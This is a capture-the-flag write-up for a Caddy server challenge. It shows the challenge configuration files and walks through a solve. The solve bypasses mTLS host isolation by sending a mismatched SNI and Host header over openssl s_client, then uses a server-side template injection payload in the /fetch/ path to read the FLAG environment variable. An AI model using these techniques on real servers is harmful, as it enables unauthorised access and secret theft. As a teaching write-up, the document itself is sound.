Ez ⛳ v3
Description
To get the flag, you need: the mTLS cert, connecting from localhost, … and break physics? Should be easy!
Challenge note: the handout files contains tls internal while the hosted challenge mostly use real TLS.
NOTE: Remote is working as intended! Even with the redirects.
NOTE 2: Backup instance with tls internal (= broken TLS cert) 49.13.233.207
Solution
First Look
We are given the source code of the challenge. There are 3 files, Caddyfile
, Dockerfile
and docker-compose.yml
. The Caddyfile
contains the configuration for the Caddy server, Dockerfile
contains the Docker image build instructions and docker-compose.yml
contains the configuration for the Docker container.
Dockerfile
1
2
3
4
FROM caddy:2.9.1-alpine
COPY Caddyfile /etc/caddy/Caddyfile
ENV FLAG='kalmar{test}'
We can see that the flag is stored in the environment variable FLAG
. Moreover, the Caddyfile
is copied to the /etc/caddy/Caddyfile
path in the container.
Docker Compose
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
services:
caddy:
build: .
#network_mode: host
ports:
- "80:80"
- "443:443"
- "443:443/udp"
cap_add:
- NET_ADMIN
volumes:
- caddy_data:/data
- caddy_config:/config
container_name: caddy-container
restart: unless-stopped
volumes:
caddy_data:
caddy_config:
We can see that the Caddy server is running on ports 80 and 443. The caddy_data
and caddy_config
volumes are mounted to the /data
and /config
paths in the container respectively.
Caddyfile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
{
debug
servers {
strict_sni_host insecure_off
}
}
*.caddy.chal-kalmarc.tf {
tls internal
redir public.caddy.chal-kalmarc.tf
}
public.caddy.chal-kalmarc.tf {
tls internal
respond "PUBLIC LANDING PAGE. NO FUN HERE."
}
private.caddy.chal-kalmarc.tf {
# Only admin with local mTLS cert can access
tls internal {
client_auth {
mode require_and_verify
trust_pool pki_root {
authority local
}
}
}
# ... and you need to be on the server to get the flag
route /flag {
@denied1 not remote_ip 127.0.0.1
respond @denied1 "No ..."
# To be really really sure nobody gets the flag
@denied2 `1 == 1`
respond @denied2 "Would be too easy, right?"
# Okay, you can have the flag:
respond {$FLAG}
}
templates
respond /cat ``
respond /fetch/* `{{ httpInclude "/{http.request.orig_uri.path.1}" }}`
respond /headers ``
respond /ip ``
respond /whoami `{http.auth.user.id}`
respond "UNKNOWN ACTION"
}
This is the interesting part of the challenge. The Caddyfile
contains 3 routes, public.caddy.chal-kalmarc.tf
, private.caddy.chal-kalmarc.tf
and *.caddy.chal-kalmarc.tf
. The public.caddy.chal-kalmarc.tf
route is a public landing page with no fun. The private.caddy.chal-kalmarc.tf
route is only accessible to the admin with a local mTLS certificate and the flag is stored in the FLAG
environment variable. The *.caddy.chal-kalmarc.tf
route redirects to the public.caddy.chal-kalmarc.tf
route.
Digging Deeper
In order to get the flag, we need to access the /flag
route. However, the route is only accessible to the admin with a local mTLS certificate and the IP address should be 127.0.0.1
to access the flag. Moreover, the @denied2
condition is always true, so we have to either perform a miracle or find another way to get the flag. Taking a look at the very beginning of the Caddyfile
, we can see that the strict_sni_host
directive is set to insecure_off
. Let’s see what this directive does.
strict_sni_host
Reading the official Caddy documentation (View Link), we found that the strict_sni_host
directive is used to control how Caddy handles SNI (Server Name Indication) hostnames. The insecure_off
value disables the strict SNI hostname checking. This means that we can access the private.caddy.chal-kalmarc.tf
route without the need of a local mTLS certificate.
To do this, we can use the following command to connect to the server.
1
openssl s_client -connect 49.13.233.207:443 -servername public.caddy.chal-kalmarc.tf
After connecting to the server, we can manually craft a HTTP request and access endpoints from the private.caddy.chal-kalmarc.tf
route.
1
2
3
GET /ip HTTP/1.1
Host: private.caddy.chal-kalmarc.tf
Analyzing the Endpoints
We have the following endpoints available to us:
/flag
=> Not useful, we can’t bypass the@denied2
condition./cat
=> Not useful, we don’t provide any input, it just printsHELLO WORLD
./fetch/*
=> Might be useful, extracts the first part of the path and uses it in thehttpInclude
directive./headers
=> Might be useful, prints the headers of the request./ip
=> Not useful, just prints the IP address of the client./whoami
=> Not useful, just prints{http.auth.user.id}
since basic auth is not used.
So only 2 endpoints are useful to us, /fetch/*
and /headers
.
/fetch/*
Endpoint
1
2
3
templates
...
respond /fetch/* `{{ httpInclude "/{http.request.orig_uri.path.1}" }}`
The httpInclude
directive includes the contents of another file by making a virtual HTTP request (also known as a sub-request). The URI path must exist on the same virtual server because the request does not use sockets; instead, the request is crafted in memory and the handler is invoked directly for increased efficiency.
So it first extracts the first part of the path and then uses template interpolation to include the contents of the file, if that is defined in the caddy configuration. This smells like a Server Side Template Injection (SSTI) vulnerability.
SSTI
We can start the docker container locally and try to exploit the SSTI vulnerability while viewing the logs. We send the following request to the server.
1
2
GET /fetch/" HTTP/1.1
Host: private.caddy.chal-kalmarc.tf
We got the following response.
and the following logs.
Hmmm so it seems that SSTI is possible. To construct the payload, we have to understand how exactly our input is being processed.
We have this template
1
{{ httpInclude "/{http.request.orig_uri.path.1}" }}
When we send the request /fetch/"
, the http.request.orig_uri.path.1
will be "
and the template will be evaluated as {{ httpInclude "/"" }}
. That’s why we got the error unterminated quoted string
.
Constructing the Payload
The idea is to come up with a valid template. We want the final template to look like this.
1
{{ httpInclude "/ip" }} {{ SOMETHING TO GET THE FLAG}}
Since the flag is stored in the FLAG
environment variable, we can use the env
directive to get its value. The final payload will look like this.
1
{{ httpInclude "/ip" }} {{ env "FLAG" }}
In order for the final template to look like this, we have to send the following request.
Payload:
1
ip"}} {{env "FLAG
1
2
3
4
GET /fetch/ip"}}%20{{env%20"FLAG HTTP/1.1
Host: private.caddy.chal-kalmarc.tf
Note: %20
is the URL encoded form of a space character.
We got the flag.
1
kalmar{4n0th3r_K4lmarCTF_An0Th3R_C4ddy_Ch4ll}